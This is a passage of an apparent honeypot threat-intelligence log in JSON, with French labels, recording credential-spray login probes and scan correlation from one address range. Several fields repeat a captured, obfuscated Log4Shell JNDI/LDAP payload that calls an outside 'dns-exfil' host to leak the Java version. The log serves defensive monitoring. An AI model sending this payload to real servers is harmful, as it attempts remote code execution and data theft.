\u0022mail_host\u0022: \u0022mail.sensor-1.internal\u0022, \u0022ldap_dc\u0022: \u0022dc.sensor-1.internal\u0022, \u0022k8s_cluster\u0022: \u0022hp-sensor-1\u0022, \u0022domain\u0022: \u0022sensor-1.internal\u0022, \u0022service_role\u0022: \u0022http_alt_8005\u0022, \u0022service_banner\u0022: \u0022honeypot-http-alt-8005\u0022, \u0022service_os\u0022: \u0022linux\u0022, \u0022dst_port\u0022: \u00228005\u0022}, \u0022hostname\u0022: \u0022mail.sensor-1.internal\u0022, \u0022sensor_id\u0022: \u0022sensor-1\u0022, \u0022multi_protocol_correlation\u0022: true, \u0022multi_protocol_count\u0022: 2, \u0022multi_protocol_sample\u0022: [\u0022http\u0022, \u0022http-alt-8005\u0022], \u0022multi_protocol_window_s\u0022: 300, \u0022coordinated_scan\u0022: true, \u0022coordinated_subnet\u0022: \u002234.19.116.0\/24\u0022, \u0022coordinated_ip_count\u0022: 8, \u0022behavior_alerts\u0022: [\u0022coordinated_scan\u0022, \u0022multi_protocol_correlation\u0022], \u0022correlation_confidence_boost\u0022: 18, \u0022attack_chain_stage\u0022: \u0022reconnaissance\u0022, \u0022ban_policy\u0022: \u0022advisory_investigate\u0022, \u0022asn_dc_heuristic\u0022: true}","tls_sni":null,"tls_ja3_hash":null,"tls_ja3":null,"http_version":null,"http_host":null,"http_user_agent":null,"http_referer":null,"tags":"[]","anomalies":"[]","severity":0,"bytes_in":4096},{"id":14676467,"ip":"34.19.116.51","ts":"2026-07-31 15:34:15.000000","proto":"tcp","src_port":36871,"dst_port":8005,"service":"http","classification":"bruteforce_credential_spray","waf_score":26,"waf_tags":"[\u0022950326:rce-0\u0022, \u0022950327:rce-0\u0022, \u0022950470:nosqli-3\u0022, \u0022950471:nosqli-3\u0022]","http_method":"POST","http_target":"\/login","sensor_id":"paris-1","meta":"{\u0022protocol_emulated\u0022: true, \u0022emulator_response\u0022: \u0022485454502f312e3120323030204f4b0d0a5365727665723a204170616368652f322e342e35370d0a436f6e74656e742d4c656e6774683a20320d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a4f4b\u0022, \u0022emulator_response_len\u0022: 82, \u0022http_header_count\u0022: 5, \u0022http_query_params\u0022: 0, \u0022http_path_depth\u0022: 1, \u0022http_path_ext\u0022: null, \u0022http_ua_hash\u0022: \u00229468a4a53a2f2fd9ea96db22dc9dd9bb6ce38b7c\u0022, \u0022http_host_hash\u0022: \u0022474d34701ef094042bceaaeec604d0fd7a5f5a84\u0022, \u0022http_target_hash\u0022: \u0022c42c80aa06113268fddf90dfdc871fb7318ff5cf\u0022, \u0022http_referer_hash\u0022: null, \u0022http_method\u0022: \u0022POST\u0022, \u0022http_ua_is_cli\u0022: false, \u0022http_ua_is_browser\u0022: true, \u0022bytes_in\u0022: 3162, \u0022payload_entropy\u0022: 4.5570471123860585, \u0022port_category\u0022: \u0022registered\u0022, \u0022org\u0022: \u0022Google LLC\u0022, \u0022service\u0022: \u0022http\u0022, \u0022app_proto\u0022: \u0022http\u0022, \u0022asn\u0022: 396982, \u0022country\u0022: \u0022US\u0022, \u0022dst_port\u0022: 8005, \u0022risk_waf\u0022: 100.0, \u0022risk_classification\u0022: 78.0, \u0022risk_behavior\u0022: 0.0, \u0022risk_geo\u0022: 40.0, \u0022risk_protocol\u0022: 43.0, \u0022risk_novelty\u0022: 25.0, \u0022risk_boost\u0022: 0, \u0022risk_granularity\u0022: 3.6, \u0022risk_breakdown\u0022: {\u0022waf\u0022: 100.0, \u0022classification\u0022: 78.0, \u0022behavior\u0022: 0.0, \u0022geo\u0022: 40.0, \u0022protocol\u0022: 43.0, \u0022novelty\u0022: 25.0}, \u0022risk_score\u0022: 68, \u0022tag_count\u0022: 7, \u0022anomaly_count\u0022: 0, \u0022campaign_key\u0022: \u0022a963c8b907e69649cf794eb09b501021e71c7db9\u0022, \u0022event_fingerprint\u0022: \u0022057f4e5baa46ff6287baca719efdcb9f5a33eea7\u0022, \u0022classification_reason\u0022: \u0022Type \u00ab bruteforce_credential_spray \u00bb (signaux protocolaires) \u00b7 confiance 100%\u0022, \u0022confidence\u0022: 1.0, \u0022classification_confidence\u0022: 1.0, \u0022precision_score\u0022: 121, \u0022precision_signals\u0022: [\u0022MITRE-T1078\u0022, \u0022INT-beh-cred-stuff\u0022], \u0022kb_rule_ids\u0022: [\u0022MITRE-T1078\u0022, \u0022INT-beh-cred-stuff\u0022], \u0022matched_patterns\u0022: [\u0022pat-0842\u0022, \u0022pat-0324\u0022], \u0022matched_pattern_names\u0022: [\u0022CRS 921130 duplicate CL\u0022, \u0022SSRF Any-address SSRF\u0022], \u0022pattern_ids\u0022: [\u0022pat-0842\u0022, \u0022pat-0324\u0022], \u0022confidence_breakdown\u0022: {\u0022waf\u0022: 100.0, \u0022classification\u0022: 78.0, \u0022behavior\u0022: 0.0, \u0022geo\u0022: 40.0, \u0022protocol\u0022: 43.0, \u0022novelty\u0022: 25.0, \u0022risk_score\u0022: 68, \u0022correlation_boost\u0022: 18}, \u0022named_classification_skipped\u0022: false, \u0022classification_parent\u0022: \u0022credential_stuffing\u0022, \u0022service_name\u0022: \u0022http\u0022, \u0022risk_confidence_factor\u0022: 100.0, \u0022city\u0022: null, \u0022is_datacenter\u0022: true, \u0022is_tor_hint\u0022: false, \u0022geo\u0022: {\u0022country\u0022: \u0022US\u0022, \u0022asn\u0022: 396982, \u0022org\u0022: \u0022Google LLC\u0022, \u0022is_datacenter\u0022: true, \u0022is_tor_hint\u0022: false}, \u0022fingerprint\u0022: {\u0022http_ua_hash\u0022: \u00222994862c1f8176879ed381354c9dd245\u0022, \u0022payload_hash\u0022: \u00224061c8ea26ee46a473bd3739ac0a6d87\u0022, \u0022path_pattern_hash\u0022: \u00227e93fba0bc7adda858a2500090e639e4\u0022}, \u0022target_context\u0022: {\u0022dst_port\u0022: 8005, \u0022service\u0022: \u0022http\u0022, \u0022service_name\u0022: \u0022http\u0022, \u0022risk_score\u0022: 68}, \u0022payload_preview\u0022: \u0022POST \/login HTTP\/1.1\\r\\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8005\\r\\nAccept: *\/*\\r\\nUser-Agent: Mozilla\/5.0 (Macintosh; Int\u0022, \u0022method\u0022: \u0022POST\u0022, \u0022path\u0022: \u0022\/login\u0022, \u0022user_agent\u0022: \u0022Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\u0022, \u0022waf_tags\u0022: [\u0022950326:rce-0\u0022, \u0022950327:rce-0\u0022, \u0022950470:nosqli-3\u0022, \u0022950471:nosqli-3\u0022], \u0022waf_rule_names\u0022: [\u0022rce-0\u0022, \u0022nosqli-3\u0022], \u0022request_line\u0022: \u0022POST \/login HTTP\/1.1\u0022, \u0022request_sample\u0022: \u0022POST \/login HTTP\/1.1\\r\\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8005\\r\\nAccept: *\/*\\r\\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\\r\\nContent-Length: 2869\\r\\nContent-Type: \u0022, \u0022payload_snippet\u0022: \u0022POST \/login HTTP\/1.1\\r\\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8005\\r\\nAccept: *\/*\\r\\nUser-Agent: Mozilla\/5.0 (Macintosh; Int\u0022, \u0022evidence\u0022: {\u0022method\u0022: \u0022POST\u0022, \u0022path\u0022: \u0022\/login\u0022, \u0022user_agent\u0022: \u0022Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\u0022, \u0022waf_tags\u0022: [\u0022950326:rce-0\u0022, \u0022950327:rce-0\u0022, \u0022950470:nosqli-3\u0022, \u0022950471:nosqli-3\u0022], \u0022waf_rule_names\u0022: [\u0022rce-0\u0022, \u0022nosqli-3\u0022], \u0022request_line\u0022: \u0022POST \/login HTTP\/1.1\u0022, \u0022request_sample\u0022: \u0022POST \/login HTTP\/1.1\\r\\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8005\\r\\nAccept: *\/*\\r\\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\\r\\nContent-Length: 2869\\r\\nContent-Type: \u0022, \u0022payload_snippet\u0022: \u0022POST \/login HTTP\/1.1\\r\\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8005\\r\\nAccept: *\/*\\r\\nUser-Agent: Mozilla\/5.0 (Macintosh; Int\u0022, \u0022classification_reason\u0022: \u0022Type \u00ab bruteforce_credential_spray \u00bb (signaux protocolaires) \u00b7 confiance 100%\u0022}, \u0022attack_stage\u0022: \u0022probe\u0022, \u0022mitre_tactics\u0022: [\u0022TA0007\u0022, \u0022TA0001\u0022], \u0022mitre_techniques\u0022: [\u0022T1078\u0022, \u0022T1110\u0022], \u0022mitre\u0022: \u0022T1078\u0022, \u0022threat_family\u0022: [\u0022unknown\u0022], \u0022recommended_client_action\u0022: \u0022investigate\u0022, \u0022policy_mode\u0022: \u0022intelligence\u0022, \u0022sensor_role\u0022: \u0022threat_intelligence\u0022, \u0022event_signature\u0022: \u00228ab3d24f68367bbe1d3b2b500bce529d2a3a89c5\u0022, \u0022protocol_details\u0022: {\u0022http_method\u0022: \u0022POST\u0022, \u0022http_path\u0022: \u0022\/login\u0022, \u0022request_line\u0022: \u0022POST \/login HTTP\/1.1\u0022, \u0022http_user_agent\u0022: \u0022Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\u0022, \u0022port\u0022: 8005, \u0022service\u0022: \u0022http\u0022, \u0022service_label_fr\u0022: \u0022HTTP\u0022}, \u0022evidence_snippet\u0022: \u0022POST \/login HTTP\/1.1\\r\\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8005\\r\\nAccept: *\/*\\r\\nUser-Agent: Mozilla\/5.0 (Macintosh; Int\u0022, \u0022attack_vector\u0022: \u0022bruteforce credential spray \u00b7 via HTTP:8005 \u00b7 (sonde \/ probe) \u00b7 \u2192 \/login\u0022, \u0022target_port_label\u0022: \u00228005 \u00b7 HTTP\u0022, \u0022emulator_service\u0022: \u0022http\u0022, \u0022confidence_reason\u0022: \u0022Confiance 100 % \u2014 4 tag(s) WAF\u0022, \u0022site_display\u0022: {\u0022classification\u0022: null, \u0022classification_reason\u0022: \u0022Type \u00ab bruteforce_credential_spray \u00bb (signaux protocolaires) \u00b7 confiance 100%\u0022, \u0022classification_reason_label_fr\u0022: \u0022Type \u00ab bruteforce_credential_spray \u00bb (signaux protocolaires) \u00b7 confiance 100%\u0022, \u0022executive_one_liner_fr\u0022: \u0022Activit\u00e9 suspecte \u2014 risque 68\/100 (\u00c9lev\u00e9) \u2014 MITRE T1078 \u2014 confiance 100 % \u2014 via HTTP \u2014 multi-protocole (2 protocoles \u00b7 5 min)\u0022, \u0022confidence_pct\u0022: 100, \u0022confidence_breakdown\u0022: {\u0022waf\u0022: 100.0, \u0022classification\u0022: 78.0, \u0022behavior\u0022: 0.0, \u0022geo\u0022: 40.0, \u0022protocol\u0022: 43.0, \u0022novelty\u0022: 25.0, \u0022risk_score\u0022: 68, \u0022correlation_boost\u0022: 18}, \u0022attack_stage\u0022: \u0022probe\u0022, \u0022attack_stage_label\u0022: \u0022Sonde \/ probe\u0022, \u0022attack_chain_stage\u0022: \u0022reconnaissance\u0022, \u0022attack_chain_stage_label_fr\u0022: \u0022Reconnaissance\u0022, \u0022risk_score\u0022: 68, \u0022risk_label\u0022: \u0022\u00c9lev\u00e9\u0022, \u0022service_name\u0022: \u0022http\u0022, \u0022service_label_fr\u0022: \u0022HTTP\u0022, \u0022dst_port\u0022: 8005, \u0022protocol_emulated\u0022: true, \u0022tags_summary\u0022: [\u0022MITRE-T1078\u0022, \u0022INT-beh-cred-stuff\u0022], \u0022tags_summary_labels_fr\u0022: [\u0022MITRE-T1078\u0022, \u0022Beh Cred Stuff\u0022], \u0022recommended_action\u0022: \u0022investigate\u0022, \u0022recommended_action_label\u0022: \u0022Investiguer\u0022, \u0022mitre\u0022: \u0022T1078\u0022, \u0022mitre_technique\u0022: \u0022T1078\u0022, \u0022persona_hostname\u0022: \u0022mail.sensor-1.internal\u0022, \u0022persona_service_banner\u0022: \u0022honeypot-http\u0022, \u0022correlation_flags\u0022: [\u0022scan_coordonn\u00e9\u0022, \u0022multi_protocol_correlation\u0022], \u0022correlation_flags_labels_fr\u0022: [\u0022Scan coordonn\u00e9\u0022, \u0022Multi-protocole corr\u00e9l\u00e9 (5 min)\u0022], \u0022sensor_role\u0022: \u0022threat_intelligence\u0022, \u0022sensor_role_label_fr\u0022: \u0022Renseignement menaces\u0022, \u0022confidence_hint_fr\u0022: \u0022Corr\u00e9lation +18\u0022, \u0022protocol_details\u0022: {\u0022http_method\u0022: \u0022POST\u0022, \u0022http_path\u0022: \u0022\/login\u0022, \u0022request_line\u0022: \u0022POST \/login HTTP\/1.1\u0022, \u0022http_user_agent\u0022: \u0022Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\u0022, \u0022port\u0022: 8005, \u0022service\u0022: \u0022http\u0022, \u0022service_label_fr\u0022: \u0022HTTP\u0022}, \u0022attack_vector\u0022: \u0022bruteforce credential spray \u00b7 via HTTP:8005 \u00b7 (sonde \/ probe) \u00b7 \u2192 \/login\u0022, \u0022evidence_snippet\u0022: \u0022POST \/login HTTP\/1.1\\r\\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8005\\r\\nAccept: *\/*\\r\\nUser-Agent: Mozilla\/5.0 (Macintosh; Int\u0022, \u0022target_port_label\u0022: \u00228005 \u00b7 HTTP\u0022, \u0022emulator_service\u0022: \u0022http\u0022, \u0022confidence_reason\u0022: \u0022Confiance 100 % \u2014 4 tag(s) WAF\u0022, \u0022confidence_factors_fr\u0022: \u0022Confiance 100 % \u2014 Score WAF 100 \u00b7 Bonus corr\u00e9lation +18 \u00b7 4 tag(s) WAF\u0022, \u0022campaign_hint_fr\u0022: \u0022Campagne de scan \u2014 plusieurs IP du m\u00eame \/24 (34.19.116.0\/24, \u22653 pairs)\u0022, \u0022attack_phases_timeline_fr\u0022: [{\u0022key\u0022: \u0022recon\u0022, \u0022label_fr\u0022: \u0022Reconnaissance\u0022, \u0022active\u0022: false, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022probe\u0022, \u0022label_fr\u0022: \u0022Sonde \/ probe\u0022, \u0022active\u0022: true, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022exploit_attempt\u0022, \u0022label_fr\u0022: \u0022Tentative d\u0027exploit\u0022, \u0022active\u0022: false, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022post_exploit\u0022, \u0022label_fr\u0022: \u0022Post-exploitation\u0022, \u0022active\u0022: false, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022c2\u0022, \u0022label_fr\u0022: \u0022Commande \u0026 contr\u00f4le\u0022, \u0022active\u0022: false, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022reconnaissance\u0022, \u0022label_fr\u0022: \u0022Reconnaissance\u0022, \u0022active\u0022: true, \u0022kind\u0022: \u0022chain\u0022, \u0022hint_fr\u0022: null}]}, \u0022honeypot_persona\u0022: {\u0022sensor_id\u0022: \u0022sensor-1\u0022, \u0022hostname\u0022: \u0022mail.sensor-1.internal\u0022, \u0022mail_host\u0022: \u0022mail.sensor-1.internal\u0022, \u0022ldap_dc\u0022: \u0022dc.sensor-1.internal\u0022, \u0022k8s_cluster\u0022: \u0022hp-sensor-1\u0022, \u0022domain\u0022: \u0022sensor-1.internal\u0022, \u0022service_role\u0022: \u0022http\u0022, \u0022service_banner\u0022: \u0022honeypot-http\u0022, \u0022service_os\u0022: \u0022linux\u0022, \u0022dst_port\u0022: \u00228005\u0022}, \u0022hostname\u0022: \u0022mail.sensor-1.internal\u0022, \u0022sensor_id\u0022: \u0022sensor-1\u0022, \u0022multi_protocol_correlation\u0022: true, \u0022multi_protocol_count\u0022: 2, \u0022multi_protocol_sample\u0022: [\u0022http\u0022, \u0022http-alt-8005\u0022], \u0022multi_protocol_window_s\u0022: 300, \u0022coordinated_scan\u0022: true, \u0022coordinated_subnet\u0022: \u002234.19.116.0\/24\u0022, \u0022coordinated_ip_count\u0022: 8, \u0022behavior_alerts\u0022: [\u0022coordinated_scan\u0022, \u0022multi_protocol_correlation\u0022], \u0022correlation_confidence_boost\u0022: 18, \u0022attack_chain_stage\u0022: \u0022reconnaissance\u0022, \u0022ban_policy\u0022: \u0022advisory_investigate\u0022, \u0022tags_list\u0022: [\u0022950326:rce-0\u0022, \u0022950327:rce-0\u0022, \u0022950470:nosqli-3\u0022, \u0022950471:nosqli-3\u0022, \u0022http_credential_body\u0022, \u0022http_probe_login\u0022, \u0022net_web_probe\u0022], \u0022asn_dc_heuristic\u0022: true}","tls_sni":null,"tls_ja3_hash":null,"tls_ja3":null,"http_version":"HTTP\/1.1","http_host":"ip-62-3-50-33.v4.isp.servpersosystems.net:8005","http_user_agent":"Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36","http_referer":null,"tags":"[\u0022950326:rce-0\u0022, \u0022950327:rce-0\u0022, \u0022950470:nosqli-3\u0022, \u0022950471:nosqli-3\u0022, \u0022http_credential_body\u0022, \u0022http_probe_login\u0022, \u0022net_web_probe\u0022]","anomalies":"[]","severity":10,"bytes_in":3162},{"id":14676365,"ip":"34.19.116.51","ts":"2026-07-31 15:34:14.000000","proto":"tcp","src_port":36868,"dst_port":8005,"service":"http","classification":"port_8005_tcp","waf_score":26,"waf_tags":"[\u0022950324:rce-0\u0022, \u0022950326:rce-0\u0022, \u0022950468:nosqli-3\u0022, \u0022950470:nosqli-3\u0022]","http_method":"GET","http_target":"\/${${8vs:-j}${za:n:z7:-n}${3zg:gap6:y:-d}${26:13a9:-i}${a:eo:-:}${l:3ms:-l}${034:i:p8f:-d}${i:4s:-a}${m:-p}${0ie:-:}${561a:-\/}${hun:-\/}${9tz8:b6:7zh:-P}${25u:v6t:y8wp:-A}${bdq:j0d:-l}${zp:8:c:-0}${nq:s5b:-c}${jc5:--}${${v:j:ab1:-s}${v3:-y}${43l:-s}${4v:-:}${4e3t:e:ns:-j}${nwc7:5g:6e:-a}${69:-v}${r:-a}${4x:x:s2n:-.}${8z:9tcr:-v}${x:hlv1:fjlg:-e}${134:qg0:m:-r}${u:ut6:gx:-s}${bv:k6:ws:-i}${al:8:-o}${o:6w:67g:-n}}${a:-.}${ma9r:-f}${8n:-0}${y:-5}${inf:0:6g:-c}${nq8:g1:n:-3}${s:1:-e}${xn:oi:-4}${v:x:co:-0}${rv:-8}${w:nk:1f:-2}${08p:n:-b}${ocd:-9}${jcur:19g:-4}${uw5:-2}${k:0j3t:-8}${un:16:zmjk:-f}${s8b:9:-7}${g0:r7p:4j:-9}${g:-7}${rv:zrd:-f}${2o:-6}${6ucg:z7i:-e}${b07e:5l:-9}${voe:lo4:8:-6}${vswd:g:k:-e}${9ki:huxt:-3}${z60:-8}${7:pmt:olsz:-f}${49:mupy:vw:-0}${9:-2}${v9:rnv:-5}${2:-0}${9vi:-3}${7:-3}${qbk:p859:aq:-8}${t5:sle:nc:-f}${wb:-d}${4or:odl:tm48:-9}${t:bte:s:-0}${92:-e}${m56b:cy0:-2}${uc:r8fw:-a}${yc7p:p381:-.}${udxl:1ors:k:-d}${blv:n5b:-n}${s:-s}${u3a9:dbn:ag0s:--}${8:i2yp:nov5:-e}${5yw:in9b:3gs5:-x}${x6:-f}${97:ofce:-i}${n0va:-l}${r:-.}${m4sr:7t:jc:-m}${noh7:-a}${d:kq0:-s}${z:gt2r:-m}${7:h5y:5g:-c}${o:-o}${n3:n3:1:-r}${b283:hmsw:ux:-e}${rc1l:--}${u2j7:1:-c}${0:k9iq:f:-f}${2f:s:--}${l92:b:-p}${ib6:3a1:-r}${qe:wpzf:-o}${z672:20jf:9y5:-d}${y:boi:4m:--}${9tn:kea:ce:-0}${o1:hsy:-2}${7:-.}${1nxi:zi:h2y:-m}${h:z:n9:-a}${95e:-s}${k:3w:-m}${ash:imxt:-.}${m:6d:8wj:-c}${j7:-l}${d0fo:r14:bfq:-o}${8iu:-u}${yp:cm:q0as:-d}${o9:-f}${f:me:-e}${q5f:4b2f:1:-r}${c4m:2g7:k5:-r}${n:9:qut:-y}${irm:46:h:-.}${5srd:xa:w:-g}${l1:-o}${3:-o}${zunh:oz2v:-g}}","sensor_id":"paris-1","meta":"{\u0022protocol_emulated\u0022: true, \u0022emulator_response\u0022: \u0022485454502f312e3120323030204f4b0d0a5365727665723a204170616368652f322e342e35370d0a436f6e74656e742d4c656e6774683a20320d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a4f4b\u0022, \u0022emulator_response_len\u0022: 82, \u0022http_header_count\u0022: 4, \u0022http_query_params\u0022: 0, \u0022http_path_depth\u0022: 3, \u0022http_path_ext\u0022: \u0022}${5srd:xa:w:-g}${l1:-o}${3:-o}${zunh:oz2v:-g}}\u0022, \u0022http_ua_hash\u0022: \u002291c78d53e41214188dac16fbfd85f9529757bb26\u0022, \u0022http_host_hash\u0022: \u0022474d34701ef094042bceaaeec604d0fd7a5f5a84\u0022, \u0022http_target_hash\u0022: \u0022707ee3171ccfa4b7f83fc7fb58b7d24876a4f271\u0022, \u0022http_referer_hash\u0022: null, \u0022http_method\u0022: \u0022GET\u0022, \u0022http_ua_is_cli\u0022: false, \u0022http_ua_is_browser\u0022: false, \u0022bytes_in\u0022: 4096, \u0022payload_entropy\u0022: 4.780525042962024, \u0022port_category\u0022: \u0022registered\u0022, \u0022org\u0022: \u0022Google LLC\u0022, \u0022service\u0022: \u0022http\u0022, \u0022app_proto\u0022: \u0022http\u0022, \u0022asn\u0022: 396982, \u0022country\u0022: \u0022US\u0022, \u0022dst_port\u0022: 8005, \u0022risk_waf\u0022: 100.0, \u0022risk_classification\u0022: 60.0, \u0022risk_behavior\u0022: 0.0, \u0022risk_geo\u0022: 40.0, \u0022risk_protocol\u0022: 43.0, \u0022risk_novelty\u0022: 25.0, \u0022risk_boost\u0022: 0, \u0022risk_granularity\u0022: 3.6, \u0022risk_breakdown\u0022: {\u0022waf\u0022: 100.0, \u0022classification\u0022: 60.0, \u0022behavior\u0022: 0.0, \u0022geo\u0022: 40.0, \u0022protocol\u0022: 43.0, \u0022novelty\u0022: 25.0}, \u0022risk_score\u0022: 58, \u0022tag_count\u0022: 7, \u0022anomaly_count\u0022: 0, \u0022campaign_key\u0022: \u0022e43be3cb582986133187f0ce05f23c2141bc27fa\u0022, \u0022event_fingerprint\u0022: \u002265ebe48f6f53211b6ffb08a3f4c69c91460c6ef6\u0022, \u0022classification_reason\u0022: \u0022Type \u00ab port_8005_tcp \u00bb (signaux protocolaires) \u00b7 confiance 50%\u0022, \u0022confidence\u0022: 0.6, \u0022classification_confidence\u0022: 0.6, \u0022precision_score\u0022: 70, \u0022precision_signals\u0022: [\u0022pat-0162\u0022], \u0022kb_rule_ids\u0022: [\u0022pat-0162\u0022], \u0022matched_patterns\u0022: [\u0022pat-0162\u0022], \u0022matched_pattern_names\u0022: [\u0022CRS 933135\u0022], \u0022pattern_ids\u0022: [\u0022pat-0162\u0022], \u0022confidence_breakdown\u0022: {\u0022waf\u0022: 100.0, \u0022classification\u0022: 60.0, \u0022behavior\u0022: 0.0, \u0022geo\u0022: 40.0, \u0022protocol\u0022: 43.0, \u0022novelty\u0022: 25.0, \u0022risk_score\u0022: 58, \u0022correlation_boost\u0022: 10}, \u0022named_classification_skipped\u0022: true, \u0022named_candidate\u0022: \u0022php_injection\u0022, \u0022service_name\u0022: \u0022http\u0022, \u0022risk_confidence_factor\u0022: 50.0, \u0022city\u0022: null, \u0022is_datacenter\u0022: true, \u0022is_tor_hint\u0022: false, \u0022geo\u0022: {\u0022country\u0022: \u0022US\u0022, \u0022asn\u0022: 396982, \u0022org\u0022: \u0022Google LLC\u0022, \u0022is_datacenter\u0022: true, \u0022is_tor_hint\u0022: false}, \u0022fingerprint\u0022: {\u0022http_ua_hash\u0022: \u002269c168bb296cfb444ca272a13813c6cb\u0022, \u0022payload_hash\u0022: \u0022b3ad5d19cf99b2ba9e975681e4a5a71f\u0022, \u0022path_pattern_hash\u0022: \u00227e9c0713631e7355ffd13e4575bbedcf\u0022}, \u0022target_context\u0022: {\u0022dst_port\u0022: 8005, \u0022service\u0022: \u0022http\u0022, \u0022service_name\u0022: \u0022http\u0022, \u0022risk_score\u0022: 58}, \u0022method\u0022: \u0022GET\u0022, \u0022path\u0022: \u0022\/${${8vs:-j}${za:n:z7:-n}${3zg:gap6:y:-d}${26:13a9:-i}${a:eo:-:}${l:3ms:-l}${034:i:p8f:-d}${i:4s:-a}${m:-p}${0ie:-:}${561a:-\/}${hun:-\/}${9tz8:b6:7zh:-P}${25u:v6t:y8wp:-A}${bdq:j0d:-l}${zp:8:c:-0}${nq:s5b:-c}${jc5:--}${${v:j:ab1:-s}${v3:-y}${43l:-s}${4v:-:}${4e3t:e:ns:-j}${nwc7:5g:6e:-a}${69:-v}${r:-a}${4x:x:s2n:-.}${8z:9tcr:-v}${x:hlv1:fjlg:-e}${134:qg0:m:-r}${u:ut6:gx:-s}${bv:k6:ws:-i}${al:8:-o}${o:6w:67g:-n}}${a:-.}${ma9r:-f}${8n:-0}${y:-5}${inf:0:6g:-c}${nq8:g1:n:-3}${s:1:-e}${xn:oi:-4}${v:x:co:-0}${rv:-\u0022, \u0022user_agent\u0022: \u0022${${2lfj:-j}${uw2d:-n}${baf:vpzy:f0ph:-d}${m:yab:c:-i}${94u:-:}${o2d3:xzf:-l}${w:d4k:7l1:-d}${74l:-a}${tw:-p}${8qlp:0s3q:ia:-:}${ec:-\/}${l:xat0:hj:-\/}${fa:q573:wi23:-U}${d2s:ad:yoc:-A}${7:rn:-l}${ip9d:j:1x:-0}${w:zg:-c}${o:--}${${u:-s}${ov:7s:-y}${mnfw:s:\u2026\u0022, \u0022waf_tags\u0022: [\u0022950324:rce-0\u0022, \u0022950326:rce-0\u0022, \u0022950468:nosqli-3\u0022, \u0022950470:nosqli-3\u0022], \u0022waf_rule_names\u0022: [\u0022rce-0\u0022, \u0022nosqli-3\u0022], \u0022request_line\u0022: \u0022GET \/${${8vs:-j}${za:n:z7:-n}${3zg:gap6:y:-d}${26:13a9:-i}${a:eo:-:}${l:3ms:-l}${034:i:p8f:-d}${i:4s:-a}${m:-p}${0ie:-:}${561a:-\/}${hun:-\/}${9tz8:b6:7zh:-P}${25u:v6t:y8wp:-A}${bdq:j0d:-l}${zp:8:c:-0}${nq:s5b:-c}${jc5:--}${${v:j:ab1:-s}${v3:-y}${43l:-s}${4v:-:}${4e3t:e:ns:-j}${nwc7:5g:6e:-a}${69:-v}${r:-a}${4x:x:s2n:-.}${8z:9tcr:-v}${x:hlv1:fjlg:-e}${134:qg0:m:-r}${u:ut6:gx:-s}${bv:k6:ws:-i}${al:8:-o}${o:6w:67g:-n}}${a:-.}${ma9r:-f}${8n:-0}${y:-5}${inf:0:6g:-c}${nq8:g1:n:-3}${s:1:-e}${xn:oi:-4}${v:x:co:-0}${\u0022, \u0022payload_snippet\u0022: \u0022GET \/${${8vs:-j}${za:n:z7:-n}${3zg:gap6:y:-d}${26:13a9:-i}${a:eo:-:}${l:3ms:-l}${034:i:p8f:-d}${i:4s:-a}${m:-p}${0ie:-:}${561a:-\u0022, \u0022evidence\u0022: {\u0022method\u0022: \u0022GET\u0022, \u0022path\u0022: \u0022\/${${8vs:-j}${za:n:z7:-n}${3zg:gap6:y:-d}${26:13a9:-i}${a:eo:-:}${l:3ms:-l}${034:i:p8f:-d}${i:4s:-a}${m:-p}${0ie:-:}${561a:-\/}${hun:-\/}${9tz8:b6:7zh:-P}${25u:v6t:y8wp:-A}${bdq:j0d:-l}${zp:8:c:-0}${nq:s5b:-c}${jc5:--}${${v:j:ab1:-s}${v3:-y}${43l:-s}${4v:-:}${4e3t:e:ns:-j}${nwc7:5g:6e:-a}${69:-v}${r:-a}${4x:x:s2n:-.}${8z:9tcr:-v}${x:hlv1:fjlg:-e}${134:qg0:m:-r}${u:ut6:gx:-s}${bv:k6:ws:-i}${al:8:-o}${o:6w:67g:-n}}${a:-.}${ma9r:-f}${8n:-0}${y:-5}${inf:0:6g:-c}${nq8:g1:n:-3}${s:1:-e}${xn:oi:-4}${v:x:co:-0}${rv:-\u0022, \u0022user_agent\u0022: \u0022${${2lfj:-j}${uw2d:-n}${baf:vpzy:f0ph:-d}${m:yab:c:-i}${94u:-:}${o2d3:xzf:-l}${w:d4k:7l1:-d}${74l:-a}${tw:-p}${8qlp:0s3q:ia:-:}${ec:-\/}${l:xat0:hj:-\/}${fa:q573:wi23:-U}${d2s:ad:yoc:-A}${7:rn:-l}${ip9d:j:1x:-0}${w:zg:-c}${o:--}${${u:-s}${ov:7s:-y}${mnfw:s:\u2026\u0022, \u0022waf_tags\u0022: [\u0022950324:rce-0\u0022, \u0022950326:rce-0\u0022, \u0022950468:nosqli-3\u0022, \u0022950470:nosqli-3\u0022], \u0022waf_rule_names\u0022: 